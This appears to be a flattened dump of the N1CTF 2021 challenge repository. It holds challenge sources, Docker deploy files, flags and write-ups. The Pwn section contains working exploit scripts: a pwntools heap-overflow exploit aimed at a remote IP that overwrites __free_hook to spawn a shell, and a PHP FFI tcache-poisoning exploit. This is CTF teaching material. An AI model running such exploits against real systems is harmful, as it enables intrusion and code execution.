ans.append(nowkey) 182 | print(len(ans)) 183 | for i in ans: 184 | print("possible key %d"%list2int(i)) 185 | return ans 186 | 187 | from n1misc import decrypt_blk 188 | checks=[b'nt1drctf',os.urandom(8)] 189 | def run(): 190 | check_enc=[] 191 | check_plain=[] 192 | for i in checks: 193 | check_enc.append(byte2list(i)) 194 | check_plain.append(byte2list(decrypt_blk(i))) 195 | attack3(lambda x:byte2list(decrypt_blk(list2bytes(x))),check_enc,check_plain) 196 | run() 197 | -------------------------------------------------------------------------------- /Misc/funny_misc/README.md: -------------------------------------------------------------------------------- 1 | ## Funny_misc 2 | 3 | This hard disk has 2 partitions, the first partition is unencrypted, and the second partition is luks encrypted 4 | 5 | We can see some kernel boot parameters and ramdisk through `grub.cfg` 6 | 7 | ``` 8 | set default="0" 9 | set timeout="5" 10 | 11 | menuentry "Buildroot" { 12 | linux /boot/bzImage root=/dev/sda2 rootwait console=tty1 13 | initrd /boot/encrypted_initrd.bin 14 | } 15 | ``` 16 | 17 | But this ramdisk is encrypted, so we need to reverse the linux kernel image to decrypt the ramdisk 18 | 19 | ``` 20 | # file encrypted_initrd.bin 21 | encrypted_initrd.bin: data 22 | 23 | ``` 24 | 25 | The encryption logic of the memory disk, very simple encryption 26 | 27 | ![image-20211121124917398](./img.png) 28 | 29 | decrypt 30 | 31 | ```c 32 | #include 33 | #include 34 | #include 35 | 36 | char *ReadFile(char *path, int *length, char *out); 37 | 38 | int main() 39 | { 40 | char *buf = (char *)malloc(1024 * 1024 * 50); 41 | int len; 42 | ReadFile("./encrypted_initrd.bin", &len, buf); 43 | 44 | char *secret = "ThI1s_IssSs_KkeEeyy"; 45 | int secret_len=strlen(secret); 46 | 47 | for (size_t i = 0; i < len; i++) 48 | { 49 | buf[i] = buf[i] ^ secret[i%secret_len]; 50 | } 51 | 52 | FILE *fp = NULL; 53 | fp = fopen("./decrypted_initrd.bin", "wb"); 54 | for (size_t i = 0; i < len; i++) 55 | { 56 | fputc(buf[i], fp); 57 | } 58 | fclose(fp); 59 | } 60 | 61 | char *ReadFile(char *path, int *length, char *out) 62 | { 63 | FILE *pfile; 64 | char *data; 65 | 66 | pfile = fopen(path, "rb"); 67 | if (pfile == NULL) 68 | { 69 | return NULL; 70 | } 71 | fseek(pfile, 0, SEEK_END); 72 | *length = ftell(pfile); 73 | printf("length: %d\n", *length); 74 | data = (char *)malloc((*length + 1) * sizeof(char)); 75 | rewind(pfile); 76 | *length = fread(data, 1, *length, pfile); 77 | data[*length] = '\0'; 78 | fclose(pfile); 79 | memcpy(out, data, *length); 80 | return data; 81 | } 82 | ``` 83 | 84 | After decryption, we can get the files in the ramdisk 85 | 86 | ```sh 87 | └─# ls -al 88 | total 80 89 | drwxr-xr-x 18 root root 4096 Nov 16 22:20 . 90 | drwxr-xr-x 7 root root 4096 Nov 16 23:34 .. 91 | drwxr-xr-x 2 root root 4096 Nov 16 21:35 bin 92 | drwxr-xr-x 3 root root 4096 Nov 16 21:35 boot 93 | drwxr-xr-x 4 root root 4096 Nov 16 21:35 dev 94 | drwxr-xr-x 10 root root 4096 Nov 16 21:35 etc 95 | -rwxr-xr-x 1 root root 890 Nov 16 21:35 init 96 | -rw-r--r-- 1 root root 4096 Nov 16 21:35 keyfile 97 | drwxr-xr-x 5 root root 4096 Nov 16 21:35 lib 98 | lrwxrwxrwx 1 root root 3 Nov 16 21:35 lib64 -> lib 99 | lrwxrwxrwx 1 root root 11 Nov 16 21:35 linuxrc -> bin/busybox 100 | drwxr-xr-x 2 root root 4096 Nov 16 21:35 media 101 | drwxr-xr-x 2 root root 4096 Nov 16 21:35 mnt 102 | drwxr-xr-x 2 root root 4096 Nov 16 21:35 opt 103 | drwxr-xr-x 2 root root 4096 Nov 16 21:35 proc 104 | drwx------ 2 root root 4096 Nov 16 21:35 root 105 | drwxr-xr-x 3 root root 4096 Nov 16 21:35 run 106 | drwxr-xr-x 2 root root 4096 Nov 16 21:35 sbin 107 | drwxr-xr-x 2 root root 4096 Nov 16 21:35 sys 108 | drwxrwxrwt 2 root root 4096 Nov 16 21:35 tmp 109 | drwxr-xr-x 7 root root 4096 Nov 16 21:35 usr 110 | drwxr-xr-x 4 root root 4096 Nov 16 21:35 var 111 | ``` 112 | 113 | Through the init file, we can see that the keyfile is the encryption key for partition two 114 | 115 | ```shell 116 | #!/bin/sh 117 | # devtmpfs does not get automounted for initramfs 118 | /bin/mount -t devtmpfs devtmpfs /dev 119 | 120 | # use the /dev/console device node from devtmpfs if possible to not 121 | # confuse glibc's ttyname_r(). 122 | # This may fail (E.G. booted with console=), and errors from exec will 123 | # terminate the shell, so use a subshell for the test 124 | if (exec 0/dev/null; then 125 | exec 0/dev/console 127 | exec 2>/dev/console 128 | fi 129 | 130 | mkdir -p /proc /sys 131 | mount -t proc proc /proc 132 | mount -t sysfs sysfs /sys 133 | mkdir -p /dev/pts 134 | mount -t devpts devpts /dev/pts 135 | echo /bin/mdev > /proc/sys/kernel/hotplug 136 | mdev -s 137 | mkdir -p /mnt/rootfs 138 | 139 | cryptsetup luksOpen --key-file /keyfile /dev/sda2 rootfs 140 | mount /dev/mapper/rootfs /mnt/rootfs 141 | cd /mnt/rootfs 142 | mount --move /sys sys 143 | mount --move /proc proc 144 | mount --move /dev dev 145 | exec switch_root -c /dev/console /mnt/rootfs /sbin/init 146 | 147 | #exec /sbin/init "$@" 148 | 149 | ``` 150 | 151 | Decrypt and mount partition two to see the flag 152 | 153 | ``` 154 | ┌──(root💀kali)-[~/Desktop/n1ctf2021] 155 | └─# cryptsetup luksOpen --key-file ./keyfile /dev/sda2 rootfs 156 | 157 | ┌──(root💀kali)-[~/Desktop/n1ctf2021] 158 | └─# mkdir rootfs1 159 | 160 | ┌──(root💀kali)-[~/Desktop/n1ctf2021] 161 | └─# mount /dev/mapper/rootfs rootfs1 162 | 163 | ┌──(root💀kali)-[~/Desktop/n1ctf2021/rootfs1] 164 | └─# ls 165 | bin boot dev etc flag.png lib lib64 linuxrc lost+found media mnt opt proc root run sbin sys tmp usr var 166 | ``` 167 | 168 | 169 | 170 | -------------------------------------------------------------------------------- /Misc/funny_misc/img.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Misc/funny_misc/img.png -------------------------------------------------------------------------------- /Misc/hacker vs hacker/README: -------------------------------------------------------------------------------- 1 | TCP state-based side-channel attack. 2 | traffic is amd64 shellcode. 3 | I write an asm obfuscator 4 | real shellcode is like 5 | open("meow") 6 | read(fd,stack-0x200,0x120) 7 | cmp stack-0x200+pos, char 8 | if true 9 | while(1) 10 | else 11 | segfault 12 | segfault= server close socket = server send FIN first 13 | while(1) = client close socket = client FIN first 14 | 15 | use tshark/pyshark to extract payloads of all client closed sockets. 16 | 17 | simulate the shellcode,hook syscall and memory access,you can get 'pos' and 'char',then recover the flag. 18 | 19 | Unintended sol: 20 | pack the shellcode into a executable.strace ./a.out => find filename of flag:meow. 21 | for i in 'a-zA-Z0-9': 22 | flag[pos] = i 23 | os.system('./a.out') 24 | if time.time() - ... > 5: 25 | flag_pos_is_correct 26 | -------------------------------------------------------------------------------- /Misc/hacker vs hacker/solve.py: -------------------------------------------------------------------------------- 1 | import concurrent.futures 2 | import subprocess 3 | 4 | flag = bytearray(b"n1ctf{" + b"}" * 110) 5 | payloads = [] 6 | 7 | 8 | class StateMachine: 9 | fin_cnt = 0 10 | offset = None 11 | 12 | def dispatch(self, to_victim, is_fin, payload): 13 | if not is_fin and to_victim and len(payload) > 1600: 14 | # attack payload 15 | self.payload = payload 16 | if is_fin: 17 | self.fin_cnt += 1 18 | if self.fin_cnt == 2 and not to_victim: # last fin from victim 19 | assert (self.payload != None) 20 | payloads.append(self.payload) 21 | 22 | 23 | p = subprocess.getoutput( 24 | "tshark -r /mnt/r/cap.pcapng -T fields -E separator=, -e tcp.dstport -e tcp.flags.fin -e tcp.payload -e tcp.stream " 25 | "-E header=n tcp.port==9999") 26 | streams = dict() 27 | for i in p.splitlines(): 28 | if i.find(',') == -1: 29 | continue 30 | dstport, is_fin, payload, streamid = i.split(',') 31 | is_fin = (is_fin == "1") 32 | payload = bytes.fromhex(payload) 33 | streamid = int(streamid) 34 | s = streams.setdefault(streamid, StateMachine()) 35 | s.dispatch(dstport == "9999", is_fin, payload) 36 | 37 | 38 | def proc(x): 39 | sp = subprocess.Popen("python ../t.py", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE) 40 | sp.stdin.write((x.hex() + "\n").encode('ascii')) 41 | res = sp.stdout.readline().strip() 42 | sp.wait() 43 | print(res) 44 | flag[int(res.split(b' ')[1])] = ord(res.split(b' ')[0]) 45 | 46 | 47 | pl = concurrent.futures.ThreadPoolExecutor(16) 48 | print(len(payloads)) 49 | 50 | for i in payloads: 51 | pl.submit(proc, i) 52 | pl.shutdown(True) 53 | print(bytes(flag)) 54 | -------------------------------------------------------------------------------- /Misc/hacker vs hacker/t.py: -------------------------------------------------------------------------------- 1 | import string 2 | 3 | import miasm.jitter.jitload 4 | from miasm.jitter.csts import PAGE_EXEC, PAGE_READ, PAGE_WRITE, EXCEPT_SYSCALL, EXCEPT_BREAKPOINT_MEMORY 5 | from miasm.analysis.machine import Machine 6 | from miasm.core.locationdb import LocationDB 7 | FLAG_BASE = 0x0 8 | CHR_OFF = None 9 | FLAG_CH="" 10 | 11 | def handlesys(jit: miasm.jitter.jitload.Jitter): 12 | global FLAG_BASE,trychar 13 | sysno = jit.cpu.EAX 14 | # print(sysno) 15 | if sysno == 0: 16 | FLAG_BASE = jit.cpu.RSI 17 | jit.vm.add_memory_breakpoint(FLAG_BASE, jit.cpu.RDX, PAGE_READ) 18 | jit.vm.set_mem(FLAG_BASE, b'\x00'*jit.cpu.RDX) 19 | jit.cpu.set_exception(0) 20 | return True 21 | 22 | 23 | def handlemem(jit: miasm.jitter.jitload.Jitter): 24 | global FLAG_BASE, CHR_OFF,FLAG_CH 25 | # read the flag 26 | FLAG_CH=chr(jit.cpu.RAX) 27 | s, _ = jit.vm.get_memory_read()[0] 28 | CHR_OFF = s - FLAG_BASE 29 | jit.vm.set_exception(0) 30 | jit.vm.reset_memory_access() 31 | return False 32 | 33 | emucode=bytes.fromhex(input()) if 1 else bytes.fromhex(open("sc.bad","r").read()) 34 | def solve(): 35 | myjit = Machine("x86_64").jitter(LocationDB(), "llvm") 36 | myjit.init_stack() 37 | run_addr = 0x400000 38 | myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE | PAGE_EXEC, emucode) 39 | myjit.vm.reset_memory_access() 40 | #myjit.jit.set_options(jit_maxline=1, max_exec_per_call=1) 41 | #myjit.exec_cb = handleinstr 42 | myjit.exceptions_handler.callbacks[EXCEPT_BREAKPOINT_MEMORY] = [] 43 | myjit.add_exception_handler(EXCEPT_SYSCALL, handlesys) 44 | myjit.add_exception_handler(EXCEPT_BREAKPOINT_MEMORY, handlemem) 45 | #myjit.set_trace_log() 46 | myjit.init_run(run_addr) 47 | try: 48 | myjit.continue_run() 49 | except Exception as e: 50 | #print(emucode.hex()) 51 | assert (False) 52 | solve() 53 | assert(CHR_OFF!=None) 54 | print(FLAG_CH,CHR_OFF) 55 | -------------------------------------------------------------------------------- /Pwn/README.md: -------------------------------------------------------------------------------- 1 | ### Pwn 2 | -------------------------------------------------------------------------------- /Pwn/babyFMT/README.md: -------------------------------------------------------------------------------- 1 | # babyFMT 2 | 3 | In this challenge ,I rewrote simple scanf and printf functions.And there is no vulnerability in other functions. 4 | 5 | ## babyscanf 6 | 7 | Only %d and %s can be used,and it works like normal scanf. 8 | 9 | ## babyprintf 10 | 11 | In this funtion, the format string is no longer %d and %s but %m and %r. 12 | 13 | %m is like %d and %r is like %s. 14 | 15 | After analyzing, you can find that there is a buf to save the string which was modified.And the size of the buf depends on the user input. 16 | 17 | First,size is the length of user input 18 | 19 | ```c 20 | v10 = strlen(a1); 21 | v11 = *a1; 22 | size = v10; 23 | ``` 24 | 25 | Next, I traverse the entire string,and add 0x10 to the size of buf as long as finding a '%'.The goal of it is to avoid overflow when the string is modified blow. 26 | 27 | But ,when you input '%x'(x could be any character except 'm' and 'r') ,it will execute the code below. 28 | 29 | ```c 30 | default: 31 | v19 = v43; 32 | v20 = 0; 33 | if ( v9[1] ) 34 | { 35 | do 36 | { 37 | *v19++ = v18 % 10 + 48; 38 | v18 /= 10; 39 | v21 = v20++; 40 | } 41 | while ( v18 ); 42 | v22 = v21; 43 | v23 = &v43[v21]; 44 | v24 = (__int64)v17->m128i_i64 + v22 + 1; 45 | v25 = v17; 46 | do 47 | { 48 | v26 = *v23; 49 | v25 = (__m128i *)((char *)v25 + 1); 50 | --v23; 51 | v25[-1].m128i_i8[15] = v26; 52 | } 53 | while ( v25 != (__m128i *)v24 ); 54 | LABEL_21: 55 | v17 = (__m128i *)((char *)v17 + v20); 56 | } 57 | ``` 58 | 59 | This code just avoid the character after '%', convert it to the ASCII number. 60 | 61 | So, when the input is '%\x00xxxxxxxxxxxxx',the size of the buf will be 0x11.But the characters after \x00 will still be put at the end. 62 | 63 | Now, a heap overflow is found.You just need to use show function to leak libc address, and modify the next pointer of tcache bins to set __free_hook to system. 64 | 65 | Then show('/bin/sh\x00') will give you a shell. 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /Pwn/babyFMT/babyprintf.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | typedef struct 8 | { 9 | size_t size; 10 | char author[16]; 11 | char content[]; 12 | }book; 13 | 14 | int i2a(int x,char *s){ 15 | char tmp[16]; 16 | char *p = tmp; 17 | int n = 0; 18 | while(x){ 19 | *p++ = x%10+'0'; 20 | x /= 10; 21 | n++; 22 | } 23 | for(int i = n-1;i >= 0;i--){ 24 | *s = tmp[i]; 25 | s++; 26 | } 27 | return n; 28 | } 29 | 30 | int babyscanf(char *fmt,...){ 31 | va_list argptr; 32 | va_start(argptr,fmt); 33 | char c; 34 | int *ptri; 35 | char *ptrc; 36 | while(*fmt){ 37 | if(*fmt == '%'){ 38 | fmt++; 39 | switch (*fmt) 40 | { 41 | case 'd': 42 | ptri = va_arg(argptr,int *); 43 | *ptri = 0; 44 | int w = 1; 45 | while(read(0,&c,1)==1){ 46 | if(c >= '0' && c <= '9'){ 47 | *ptri = *ptri * 10 + c - '0'; 48 | }else if(c == '-'){ 49 | w = -1; 50 | }else{ 51 | break; 52 | } 53 | } 54 | *ptri *= w; 55 | if(c == *(fmt+1)){ 56 | fmt++; 57 | }else if(c == ' ' || c == '\n' || c == '\t'){ 58 | break; 59 | }else{ 60 | return -1; 61 | } 62 | break; 63 | case 's': 64 | ptrc = va_arg(argptr,char *); 65 | int size = va_arg(argptr,int); 66 | for(int i = 0;i < size;i++){ 67 | if(read(0,&c,1) != 1){ 68 | return -1; 69 | } 70 | if(c == '\n' || c == ' ' || c == '\t'){ 71 | break; 72 | }else{ 73 | ptrc[i] = c; 74 | } 75 | } 76 | break; 77 | default: 78 | break; 79 | } 80 | }else{ 81 | if(read(0,&c,1)!=1){ 82 | return -1; 83 | } 84 | if(c != *fmt){ 85 | return -1; 86 | } 87 | } 88 | if(c == '\n') 89 | break; 90 | fmt++; 91 | } 92 | va_end(argptr); 93 | return 0; 94 | } 95 | 96 | 97 | void babyprintf(char *fmt,...){ 98 | va_list argptr; 99 | va_start(argptr,fmt); 100 | int n = strlen(fmt); 101 | int x; 102 | char *s; 103 | char *p = fmt; 104 | while(*p){ 105 | if(*p == '%'){ 106 | n += 0x10; 107 | } 108 | p++; 109 | } 110 | p = malloc(n); 111 | char *pp = p; 112 | for(int i = 0;i < n;i++){ 113 | p[i] = 0; 114 | } 115 | while(*fmt){ 116 | if(*fmt == '%'){ 117 | fmt++; 118 | switch (*fmt) 119 | { 120 | case 'm': 121 | x = va_arg(argptr,int); 122 | p += i2a(x,p); 123 | break; 124 | case 'r': 125 | s = va_arg(argptr,char *); 126 | if(strlen(s) > 0x10){ 127 | memcpy(p,s,0x10); 128 | p += 0x10; 129 | }else{ 130 | memcpy(p,s,strlen(s)); 131 | p += strlen(s); 132 | } 133 | break; 134 | case '%': 135 | *p = '%'; 136 | p++; 137 | break; 138 | default: 139 | p += i2a(*fmt,p); 140 | break; 141 | } 142 | }else{ 143 | *p = *fmt; 144 | p++; 145 | } 146 | fmt++; 147 | } 148 | va_end(argptr); 149 | write(1,pp,strlen(pp)); 150 | free(pp); 151 | } 152 | 153 | void menu(){ 154 | babyprintf("1.add\n"); 155 | babyprintf("2.delete\n"); 156 | babyprintf("3.ppppprint\n"); 157 | babyprintf(">"); 158 | } 159 | 160 | void init(){ 161 | setbuf(stdout,0); 162 | setbuf(stdin,0); 163 | setbuf(stderr,0); 164 | babyprintf(" o. O .oOOOo. oOoOOoOOo OOooOoO \n"); 165 | babyprintf(" Oo o oO .O o o o \n"); 166 | babyprintf(" O O O O o o O \n"); 167 | babyprintf(" O o o o o O oOooO \n"); 168 | babyprintf(" O o O O o o O \n"); 169 | babyprintf(" o O O o O O o \n"); 170 | babyprintf(" o Oo O `o .o O o \n"); 171 | babyprintf(" O `o OooOO `OoooO' o' O' \n"); 172 | } 173 | 174 | int getNum(){ 175 | int x; 176 | babyscanf("%d ",&x); 177 | return x; 178 | } 179 | 180 | book *list[16]; 181 | void add(){ 182 | int idx = 0; 183 | for(; idx < 16;idx++){ 184 | if(!list[idx]){ 185 | break; 186 | } 187 | } 188 | if(idx == 16){ 189 | babyprintf("Book store is full!"); 190 | exit(0); 191 | } 192 | babyprintf("Size:"); 193 | int size = 0; 194 | babyscanf("Content size is %d ",&size); 195 | if(size < 0 || size > 0x500){ 196 | babyprintf("Too large\n"); 197 | return; 198 | } 199 | list[idx] = malloc(8+16+size); 200 | list[idx]->size = size; 201 | babyprintf("Author:"); 202 | babyscanf("Book author is %s ",list[idx]->author,16); 203 | babyprintf("Content:"); 204 | babyscanf("Book content is %s ",list[idx]->content,size); 205 | babyprintf("Success!\n"); 206 | } 207 | 208 | void del(){ 209 | babyprintf("Idx:"); 210 | int idx = 0; 211 | babyscanf("Book idx is %d ",&idx); 212 | if(idx < 0 || idx >= 16){ 213 | babyprintf("No No No\n"); 214 | return; 215 | } 216 | free(list[idx]); 217 | list[idx] = 0; 218 | babyprintf("Success!\n"); 219 | } 220 | 221 | void show(){ 222 | babyprintf("Idx:"); 223 | int idx = 0; 224 | babyscanf("Book idx is %d ",&idx); 225 | if(idx < 0 || idx >= 16){ 226 | babyprintf("No No No\n"); 227 | return; 228 | } 229 | char tmp[0x100]; 230 | memset(tmp,0,sizeof(tmp)); 231 | babyprintf("You can show book by yourself\n"); 232 | babyscanf("My format %s ",tmp,0x100); 233 | babyprintf(tmp,list[idx]->author,list[idx]->size,list[idx]->content); 234 | babyprintf("Success!\n"); 235 | } 236 | 237 | int main(){ 238 | int x; 239 | init(); 240 | while(1){ 241 | menu(); 242 | int cmd = getNum(); 243 | switch (cmd) 244 | { 245 | case 1: 246 | add(); 247 | break; 248 | case 2: 249 | del(); 250 | break; 251 | case 3: 252 | show(); 253 | break; 254 | case 4: 255 | exit(0); 256 | break; 257 | default: 258 | exit(0); 259 | break; 260 | } 261 | } 262 | return 0; 263 | } -------------------------------------------------------------------------------- /Pwn/babyFMT/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ 4 | apt-get update && apt-get -y dist-upgrade && \ 5 | apt-get install -y lib32z1 xinetd 6 | 7 | RUN useradd -m ctf 8 | 9 | 10 | WORKDIR /home/ctf 11 | 12 | RUN cp -R /usr/lib* /home/ctf 13 | 14 | RUN mkdir /home/ctf/dev && \ 15 | mknod /home/ctf/dev/null c 1 3 && \ 16 | mknod /home/ctf/dev/zero c 1 5 && \ 17 | mknod /home/ctf/dev/random c 1 8 && \ 18 | mknod /home/ctf/dev/urandom c 1 9 && \ 19 | chmod 666 /home/ctf/dev/* 20 | 21 | RUN mkdir /home/ctf/bin && \ 22 | cp /bin/sh /home/ctf/bin && \ 23 | cp /bin/ls /home/ctf/bin && \ 24 | cp /bin/cat /home/ctf/bin 25 | 26 | COPY ./ctf.xinetd /etc/xinetd.d/ctf 27 | COPY ./start.sh /start.sh 28 | RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail 29 | 30 | RUN chmod +x /start.sh 31 | 32 | COPY ./bin/ /home/ctf/ 33 | RUN chown -R root:ctf /home/ctf && \ 34 | chmod -R 750 /home/ctf && \ 35 | chmod 740 /home/ctf/flag 36 | 37 | CMD ["/start.sh"] 38 | 39 | EXPOSE 9999 40 | -------------------------------------------------------------------------------- /Pwn/babyFMT/deploy/README.md: -------------------------------------------------------------------------------- 1 | # ctf_xinetd 2 | 3 | > A docker repository for deploying CTF challenges 4 | 5 | ## Configuration 6 | 7 | Put files to floder `bin`. They'll be copied to /home/ctf. **Update the flag** at the same time. 8 | 9 | Edit `ctf.xinetd`. replace `./helloworld` to your command. 10 | 11 | You can also edit `Dockerfile, ctf.xinetd, start.sh` to custom your environment. 12 | 13 | ## Build 14 | 15 | ```bash 16 | docker build -t "helloworld" . 17 | ``` 18 | 19 | DO NOT use *bin* as challenge's name 20 | 21 | ## Run 22 | 23 | ```bash 24 | docker run -d -p "0.0.0.0:pub_port:9999" -h "helloworld" --name="helloworld" helloworld 25 | ``` 26 | 27 | `pub_port` is the port you want to expose to the public network. 28 | 29 | ## Capture traffic 30 | 31 | If you want to capture challenge traffic, just run `tcpdump` on the host. Here is an example. 32 | 33 | ```bash 34 | tcpdump -w helloworld.pcap -i eth0 port pub_port 35 | ``` 36 | -------------------------------------------------------------------------------- /Pwn/babyFMT/deploy/bin/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Pwn/babyFMT/deploy/bin/.DS_Store -------------------------------------------------------------------------------- /Pwn/babyFMT/deploy/bin/babyFMT: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Pwn/babyFMT/deploy/bin/babyFMT -------------------------------------------------------------------------------- /Pwn/babyFMT/deploy/bin/flag: -------------------------------------------------------------------------------- 1 | n1ctf{BBBBBBaby_format_string} -------------------------------------------------------------------------------- /Pwn/babyFMT/deploy/ctf.xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = root 8 | type = UNLISTED 9 | port = 9999 10 | bind = 0.0.0.0 11 | server = /usr/sbin/chroot 12 | # replace helloworld to your program 13 | server_args = --userspec=1000:1000 /home/ctf ./babyFMT 14 | banner_fail = /etc/banner_fail 15 | # safety options 16 | per_source = 10 # the maximum instances of this service per source IP address 17 | rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use 18 | #rlimit_as = 1024M # the Address Space resource limit for the service 19 | #access_times = 2:00-9:00 12:00-24:00 20 | } 21 | -------------------------------------------------------------------------------- /Pwn/babyFMT/deploy/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Add your startup script 3 | 4 | # DO NOT DELETE 5 | /etc/init.d/xinetd start; 6 | sleep infinity; 7 | -------------------------------------------------------------------------------- /Pwn/babyFMT/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #s = process("./babyprintf") 4 | s = remote("1.13.172.204",9999) 5 | def add(size,author,buf): 6 | s.sendlineafter(">","1") 7 | s.sendlineafter("Size:","Content size is "+str(size)) 8 | s.sendlineafter("Author:","Book author is "+author) 9 | s.sendlineafter("Content:","Book content is "+buf) 10 | 11 | def free(idx): 12 | s.sendlineafter(">","2") 13 | s.sendlineafter("Idx:","Book idx is "+str(idx)) 14 | 15 | def show(idx,fmt): 16 | s.sendlineafter(">","3") 17 | s.sendlineafter("Idx:","Book idx is "+str(idx)) 18 | s.sendlineafter("You can show book by yourself","My format "+fmt) 19 | 20 | add(0x450,'admin','a')#0 21 | add(0x100,'123','123')#1 22 | free(0) 23 | add(0x50,'','aaaaaa')#0 24 | show(0,'AAAA%rBBBB') 25 | s.recvuntil("AAAA") 26 | libc = ELF("./libc-2.31.so",checksec=False) 27 | libc.address = u64(s.recvuntil("BBBB",drop=True)+"\x00\x00")-0x1ebfe0 28 | success(hex(libc.address)) 29 | add(0x50,'','aaaaaa')#2 30 | add(0x50,'','aaaaaa')#3 31 | free(3) 32 | free(2) 33 | free(0) 34 | 35 | show(1,'%\x00'+cyclic(32)+p64(libc.sym['__free_hook']-0x10)) 36 | 37 | add(0x50,p64(libc.sym['system'])*2,p64(libc.sym['system'])*4) 38 | add(0x50,p64(libc.sym['system'])*2,p64(libc.sym['system'])*4) 39 | #gdb.attach(s) 40 | show(1,'/bin/sh\x00') 41 | s.interactive() 42 | -------------------------------------------------------------------------------- /Pwn/ctfhub2/README: -------------------------------------------------------------------------------- 1 | full writeup:https://nt1dr.github.io/2021/11/22/n1-ctfhub2/ 2 | php environment:php.7z 3 | docker: nt1dr/n1ctf2021-ctfhub2 4 | -------------------------------------------------------------------------------- /Pwn/ctfhub2/exploit.php: -------------------------------------------------------------------------------- 1 | > 3); 29 | printf("nowsz %x\n", $nowsz); 30 | ob_flush(); 31 | if ($nowsz > 0x100) { 32 | $fd = $buffer[$i + 2]; 33 | $bk = $buffer[$i + 3]; 34 | printf("fd and bk %x %x\n", $fd, $bk); 35 | ob_flush(); 36 | if (($bk >> 40) == 0x7f && ($bk & 0xfff) == 0xbe0) { 37 | printf("get unsorted bin\n"); 38 | ob_flush(); 39 | $chunks = array(); 40 | for ($i = 0; $i < 1000; ++$i) { 41 | $last = pstr2ffi(str_repeat("\x33", 8 * 16)); 42 | array_push($chunks, $last); 43 | memcpy($buffer, $a, (272 + 21) * 8); //OOB read 44 | if ($buffer[272 + 2] == 0x3333333333333333) { 45 | //we now alloc a chunk to the area we can control 46 | $dummy = creatbuf(8 * 16); 47 | assert(($buffer[272 + 20] & 0xfff) == 0xbe0); 48 | $libc_base = $buffer[272 + 20] - 2014176; 49 | $libc_free_hook = $libc_base + 2026280; 50 | //step 1,add a chunk into tcache 51 | freebuf($chunks[0]); 52 | //step 2,add dummy into tcache 53 | freebuf($dummy); 54 | memcpy($buffer, $a, (272 + 21) * 8); 55 | //step 3,tcache posion 56 | $buffer[272 + 20] = $libc_free_hook; 57 | memcpy($a, $buffer, (272 + 21) * 8); //OOB write,tcache hijack 58 | //step 4 alloc to &_free_hook 59 | creatbuf(8 * 16); 60 | $free_hook = creatbuf(8 * 16); 61 | $free_hook[0] = $libc_base + 349200; 62 | freebuf($binsh); 63 | $free_hook[0] = 0x0; 64 | return; 65 | } else { 66 | printf("failed:( good luck next try\n"); 67 | ob_flush(); 68 | } 69 | } 70 | return; 71 | } 72 | } else { 73 | printf("failed?!\n"); 74 | ob_flush(); 75 | } 76 | 77 | /* 78 | nowsz 112 79 | fd and bk 55d86af501d0 7f393baeabe0 80 | get unsorted bin 81 | failed:( good luck next try 82 | failed:( good luck next try 83 | failed:( good luck next try 84 | failed:( good luck next try 85 | failed:( good luck next try 86 | failed:( good luck next try 87 | failed:( good luck next try 88 | failed:( good luck next try 89 | failed:( good luck next try 90 | n1ctf{Ma5TEr_Of_PHP_d70809e19fbdb091a3f607c2b86a3a05a483670c9e45124c6796c6e830} 91 | */ 92 | -------------------------------------------------------------------------------- /Pwn/ctfhub2/php.7z: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Pwn/ctfhub2/php.7z -------------------------------------------------------------------------------- /Pwn/easyX11/file/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:unstable 2 | 3 | RUN sed -i "s/http:\/\/deb.debian.org/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list 4 | RUN apt-get update && apt-get -y dist-upgrade && \ 5 | apt-get install -y lib32z1 xinetd build-essential python3 socat libx11-dev locales 6 | 7 | RUN useradd -m ctf && \ 8 | echo 'ctf - nproc 1500' >>/etc/security/limits.conf && \ 9 | sed -i '/en_US.UTF-8/s/^# //g' /etc/locale.gen && \ 10 | locale-gen 11 | COPY ./flag /flag 12 | COPY ./x11 /x11 13 | COPY ./run.py /run.py 14 | RUN chmod 755 ./run.py && \ 15 | chmod 755 /x11 16 | USER ctf 17 | CMD socat tcp-listen:8888,fork,reuseaddr EXEC:"/run.py" 18 | EXPOSE 8888 -------------------------------------------------------------------------------- /Pwn/easyX11/file/flag: -------------------------------------------------------------------------------- 1 | n1ctf{1145141919810} -------------------------------------------------------------------------------- /Pwn/easyX11/file/libc-2.32.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Pwn/easyX11/file/libc-2.32.so -------------------------------------------------------------------------------- /Pwn/easyX11/file/run.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import socket 3 | import threading 4 | import os 5 | import sys 6 | import ctypes 7 | 8 | def send(conn): 9 | while True: 10 | try: 11 | data = conn.recv(4096) 12 | os.write(sys.stdout.fileno(), data) 13 | except: 14 | break 15 | conn.close() 16 | 17 | def recv(conn): 18 | while True: 19 | try: 20 | data = os.read(sys.stdin.fileno(), 4096) 21 | conn.send(data) 22 | except: 23 | break 24 | conn.close() 25 | 26 | def main(): 27 | libc = ctypes.CDLL("libc.so.6") 28 | 